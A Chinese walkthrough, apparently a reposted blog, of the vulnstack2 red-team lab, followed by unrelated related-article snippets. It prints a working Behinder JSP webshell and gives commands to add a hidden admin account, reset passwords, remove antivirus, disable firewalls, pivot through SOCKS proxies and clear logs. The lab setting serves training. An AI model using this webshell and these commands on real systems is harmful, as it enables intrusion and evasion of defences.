【红日靶场】vulnstack2-完整渗透过程

文章目录

  • 一、网络拓扑
  • 二、描述
  • 配置环境
  • 渗透开始
    • 信息收集
    • 开始攻击
    • 干掉杀软
    • cs上线
      • 权限提升
    • 内网探测
    • 横向移动
    • 再次横向
    • rdp连接
    • 痕迹清除
  • 总结:


一、网络拓扑

示例:pandas 是基于NumPy 的一种工具,该工具是为了解决数据分析任务而创建的。
网络配置:
在这里插入图片描述

二、描述

红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码:1qaz@WSX

  1. Bypass UAC
  2. Windows系统NTLM获取(理论知识:Windows认证)
  3. Access Token利用(MSSQL利用)
  4. WMI利用
  5. 网页代理,二层代理,特殊协议代理(DNS,ICMP)
  6. 域内信息收集
  7. 域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
  8. 域凭证收集
  9. 后门技术(黄金票据/白银票据/Sid History/MOF)
  • 环境说明
    内网网段:10.10.10.1/24
    DMZ网段:192.168.111.1/24
    测试机地址:192.168.111.1(Windows),192.168.111.11(Linux)
    防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问):
deny all tcp ports:10.10.10.1
allow all tcp ports:10.10.10.0/24
  • 配置信息
    DC
    IP:10.10.10.10OS:Windows 2012(64)
    应用:AD域
    WEB:
    IP1:10.10.10.80 IP2:192.168.111.80OS:Windows 2008(64)
    应用:Weblogic 10.3.6 MSSQL 2008
    PC:
    IP1:10.10.10.111 IP2:192.168.111.201 OS:Windows 7(32)
    攻击机:
    IP:192.168.111.1 OS:Windows 11(64)
    IP:192.168.111.128 OS:kaliLinux(64)

配置环境

web主机登录使用de1ay用户登录密码是1qaz@WSX
在这里插入图片描述
这里的网关地址给的1也就是主机的地址所以这里是没外网的如果要外网修改为2就行,这里做内网我就不改了

在这里插入图片描述
开启weblogic:C:\Oracle\Middleware\user_projects\domains\base_domain
使用管理员才能进去administrator/1qaz@WSX
在这里插入图片描述
再次输入账户和密码启动:
在这里插入图片描述
在这里插入图片描述
内网网卡是防火墙禁用10网段外网无法访问10段:
在这里插入图片描述

渗透开始

信息收集

目标:192.168.111.80是作为web的边界的攻击目标
主要服务:web、sql server和rdp和weblogic还有smb
在这里插入图片描述
存在多个漏洞:
在这里插入图片描述

开始攻击

直接开打:
在这里插入图片描述
执行命令:tasklist /svc
在这里插入图片描述
存在杀软:360
在这里插入图片描述
尝试上传shell是否会杀:正常先做免杀测试
先获取一下路径:
在这里插入图片描述
在这里插入图片描述
好像被杀了:换了个工具继续上传
在这里插入图片描述
成功了上传冰蝎马:
在这里插入图片描述

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

/该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond/

在这里插入图片描述
成功拿到shell:
在这里插入图片描述
寻找一下位置:
在这里插入图片描述
注入内存马稳定shell:
在这里插入图片描述

信息收集:存在多张网卡
在这里插入图片描述
确定是否存在域环境:
在这里插入图片描述
上面检测出360得想个办法给他干掉

干掉杀软

一、 3389上去直接关闭,需要创建管理员用户
二、 提权到system关闭
三、 对c2做免杀
创建用户:

net user julien 1qaz@WSX /add
net localgroup Administrators julien /add

在这里插入图片描述
连接是报错:
在这里插入图片描述
使用administrator用户登录因为不知道密码直接改密码:

net user Administrator 1qaz@WSX

在这里插入图片描述
登录
在这里插入图片描述
直接卸载

在这里插入图片描述
在这里插入图片描述

关闭防火墙然后就可以为所欲为了!!

cs上线

上线cs马:
生成马上传运行
在这里插入图片描述

在这里插入图片描述
抓取明文密码:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
mssql也是弱密码还有域内的用户名密码

权限提升

使用ms14-058提权
在这里插入图片描述
拿到system权限:
在这里插入图片描述

内网探测

cs探测不到
在这里插入图片描述
使用fscan试试:
看到10.10.10.10
在这里插入图片描述
上线msf:
在这里插入图片描述
上传运行:
在这里插入图片描述

做socks 4:
在这里插入图片描述
kali连接socks
在这里插入图片描述
在这里插入图片描述

探测到192.168.111.201:
在这里插入图片描述
cs的arp探测:
在这里插入图片描述
192.168.111.2和128是我的主机和kali省略:smb上线尝试横向

横向移动

使用smb beacon上线:
在这里插入图片描述
上线成功:
在这里插入图片描述
查看有无杀软:

在这里插入图片描述
还有360:
在这里插入图片描述
有开3389:抓取密码登录rdp
在这里插入图片描述
查看一下administrator的用户:
在这里插入图片描述
在这里插入图片描述
尝试administrator和mssql登录3389:(失败)

在这里插入图片描述
直接探测其他主机:
在这里插入图片描述
前面探测到10.10.10.10,这里直接横向尝试:
在这里插入图片描述
再次横向移动:
在这里插入图片描述

再次横向

拿到权限:
在这里插入图片描述

rdp连接

修改Administrator登录3389:
在这里插入图片描述

在这里插入图片描述
笑死

创建用户继续:
在这里插入图片描述
在这里插入图片描述
注意这样会有弹窗:
这里是我已经登录了
在这里插入图片描述
费劲终于拿到了,去干掉杀软
在这里插入图片描述
在这里插入图片描述
关闭防火墙:
在这里插入图片描述
再去拿10主机:
也开了3389
在这里插入图片描述
这里因为10主机在内网,主机不能直接连需要通过socks:
先看有无杀软:
在这里插入图片描述
没有:
在这里插入图片描述

这里用命令关闭防火墙:
在这里插入图片描述

因为我们主机不能直接访问10.10.10.10(其实是可以的但是假装不可以)做一下socks5:
在这里插入图片描述

shell工具连接使用代理:
在这里插入图片描述

然后抓一下账户和密码:
在这里插入图片描述
怎么都是空的没有密码:
直接创建用户并加入组:
net user julien 1qaz@WSX /add
net localgroup administrators julien /add

在这里插入图片描述
直接shell工具连接:
在这里插入图片描述
代理用上面的:
在这里插入图片描述
这里代理好像失败了:
在这里插入图片描述
那就直接用kali的rdp

proxychains rdesktop -g 1440x900 -r disk:LinuxDisk=/root/Downloads -u julien -p “1qaz@WSX” 10.10.10.10:3389

kali连接失败:

在这里插入图片描述
尝试去cs上面找找问题:
查看端口:
在这里插入图片描述
nmap探测一下:
在这里插入图片描述
感觉没问题再次尝试连接:
直接用已经拿到的主机进行连接:这里用上面的windows7连接的10域控成功拿到:
在这里插入图片描述
成功通过。

痕迹清除

删除多个日志特别是weblogic的日志别忘,用户等创建可以使用隐藏方式创建,创建影子账号后面会用到这里就不展示了,痕迹清除就是原路返回,有很多工具可以用大家自己找吧这里就不放了!

总结:

可以通过多种方式进行渗透测试这里只是我自己喜欢的方式,内网还能抓取hash等利用,在后面的红日靶场系列中会使用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/143697.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

多线程的学习中篇下

volatile 关键字 volatile 能保证内存可见性 volatile 修饰的变量, 能够保证 “内存可见性” 示例代码: 运行结果: 当输入1(1是非O)的时候,但是t1这个线程并沿有结束循环, 同时可以看到,t2这个线程已经执行完了,而t1线程还在继续循环. 这个情况,就叫做内存可见性问题 ~~ 这…

再生之术:遗忘 Root 密码的 CentOS8 Stream 解决方案

文章目录 大魔头 RootGRUB 引导界面BootLoaderGRUB主要功能选择启动的操作系统编辑内核启动参数 进入GRUB 引导界面编辑内核启动参数单用户模式 进入内核编辑界面rd.break进入单用户模式 大魔头 Root 哈哈&#xff0c;你好&#xff01;今天&#xff0c;让我们来聊聊 Linux 系统…

ElementPlus· tab切换/标签切换 + 分页

tab切换 ---> <el-tabs><el-tab-pane>... 分页 --------> <el-pagination> tab切换 // tab标签切换 // v-model双向绑定选项中的name&#xff0c;tab-change事件在 activeName改变时触发 <script setup> const tabChange (tab, event)>{…

PostgreSQL 数据库实现公网远程连接

文章目录 前言1. 安装postgreSQL2. 本地连接postgreSQL3. Windows 安装 cpolar4. 配置postgreSQL公网地址5. 公网postgreSQL访问6. 固定连接公网地址7. postgreSQL固定地址连接测试 前言 PostgreSQL是一个功能非常强大的关系型数据库管理系统&#xff08;RDBMS&#xff09;,下…

微信小程序 预约系统

目录 前端介绍主要页面介绍主页面签到相关页面个人中心扫描页面工作页面 技术栈说明 后端介绍技术栈说明 前端介绍 主要页面介绍 主页面 这个页面主要是一个轮播图加上三个小按钮和一个海报&#xff0c;具体可以看代码 签到相关页面 这一些列图片展示了&#xff0c;签到的流…

基于springboot实现二手交易平台管理系统演示【项目源码】分享

基于springboot实现二手交易平台管理系统演示 java简介 Java语言是在二十世纪末由Sun公司发布的&#xff0c;而且公开源代码&#xff0c;这一优点吸引了许多世界各地优秀的编程爱好者&#xff0c;也使得他们开发出当时一款又一款经典好玩的小游戏。Java语言是纯面向对象语言之…

加速企业AI实施:成功策略和效率方法

文章目录 写在前面面临的挑战MlOps简介好书推荐 写作末尾 写在前面 作为计算机科学领域的一个关键分支&#xff0c;机器学习在当今人工智能领域中占据着至关重要的地位&#xff0c;广受瞩目。机器学习通过深入分析大规模数据并总结其中的规律&#xff0c;为我们提供了解决许多…

【C++】STL之list深度剖析及模拟实现

目录 前言 一、list 的使用 1、构造函数 2、迭代器 3、增删查改 4、其他函数使用 二、list 的模拟实现 1、节点的创建 2、push_back 和 push_front 3、普通迭代器 4、const 迭代器 5、增删查改(insert、erase、pop_back、pop_front) 6、构造函数和析构函数 6.1、默认构造…

java常用API之Object

Objct toString() package myObjct;public class myObjct {public static void main(String[] args) {Object onew Object();System.out.println(o.toString());//打印结果java.lang.Object27f674d} }java.lang.Object27f674d后面的27f674d是地址值 package myObjct;import ja…

2022年软件设计师下半年真题解析(上午+下午)

1 RISC 以下关于RISC(精简指令集计算机)特点的叙述中&#xff0c;错误的是()。 A.对存储器操作进行限制&#xff0c;使控制简单化B.指令种类多&#xff0c;指令功能强 C.设置大量通用寄存器 D.选取使用频率较高的一些指令&#xff0c;提高执行速度 RISC(Reduced Instruction Se…

油猴(篡改猴)学习记录

第一个Hello World 注意点:默认只匹配了http网站,如果需要https网站,需要自己添加match https://*/*代码如下 这样子访问任意网站就可以输出Hello World // UserScript // name 第一个脚本 // namespace http://tampermonkey.net/ // version 0.1 // descri…

Flask扩展:简化开发的利器以及26个日常高效开发的第三方模块(库/插件)清单和特点总结

目录 寻找扩展 使用扩展 创建扩展 26个常用的Flask扩展模块 总结 原文&#xff1a;Flask扩展&#xff1a;简化开发的利器以及26个日常高效开发的第三方模块&#xff08;库/插件&#xff09;清单和特点总结 (qq.com) Flask是一个轻量级的Python Web框架&#xff0c;它提供…

数据结构--栈

线性表的定义 前面文章有讲过&#xff0c;线性表就是一次保存单个同类型元素&#xff0c;多个元素之间逻辑上连续 例子&#xff1a;数组&#xff0c;栈&#xff0c;队列&#xff0c;字符串 栈 1.1 栈和队列的特点 栈和队列都是操作受限的线性表。 前面学过的数组&#xff0c;…

Cocos Creator3.8 实战问题(一)cocos creator prefab 无法显示内容

问题描述&#xff1a; cocos creator prefab 无法显示内容&#xff0c; 或者只显示一部分内容。 creator编辑器中能看见&#xff1a; 预览时&#xff0c;看不见内容&#xff1a; **问题原因&#xff1a;** prefab node 所在的layer&#xff0c;默认是default。 解决方法&…

wps及word通配匹配与正则匹配之异同

前言 今天在chatgpt上找找有什么比赛可以参加。下面是它给我的部分答案&#xff0c;我想将其制成文档裱起来&#xff0c;并突出比赛名方便日后查找。 这时理所当然地想到了查找替换功能&#xff0c;但是当我启用时却发现正则匹配居然没有了&#xff0c;现在只有通配匹配了。 …

关于接口测试——自动化框架的设计与实现

一、自动化测试框架 在大部分测试人员眼中只要沾上“框架”&#xff0c;就感觉非常神秘&#xff0c;非常遥远。大家之所以觉得复杂&#xff0c;是因为落地运用起来很复杂&#xff1b;每个公司&#xff0c;每个业务及产品线的业务流程都不一样&#xff0c;所以就导致了“自动化…

从零开始之了解电机及其控制(11)实现空间矢量调制

广泛地说&#xff0c;空间矢量调制只是将电压矢量以及磁场矢量在空间中调制到任意角度&#xff0c;通常同时最大限度地利用整个电压范围。 其他空间矢量调制模式确实存在&#xff0c;并且根据您最关心的内容&#xff0c;它们可能值得研究。 如何实际执行这种所谓的交替反向序列…

java进阶-Netty

Netty 在此非常感谢尚硅谷学院以及韩顺平老师在B站公开课 Netty视频教程 Netty demo代码文件 I/O 说NIO之前先说一下BIO&#xff08;Blocking IO&#xff09;,如何理解这个Blocking呢&#xff1f;客户端监听&#xff08;Listen&#xff09;时&#xff0c;Accept是阻塞的&…

XML文件反序列化读取

原始XML文件 <?xml version"1.0" encoding"utf-8" ?> <School headmaster"王校长"><Grade grade"12" teacher"张老师"><Student name"小米" age"18"/><Student name&quo…

freertos的任务调度器的启动函数分析(根据源码使用)

volatile uint8_t * const pucFirstUserPriorityRegister ( uint8_t * ) ( portNVIC_IP_REGISTERS_OFFSET_16 portFIRST_USER_INTERRUPT_NUMBER ); 通过宏pucFirstUserPriorityRegister0xE000E400&#xff08;根据宏名字&#xff0c;这是NVIC寄存器地址&#xff09; 查手册…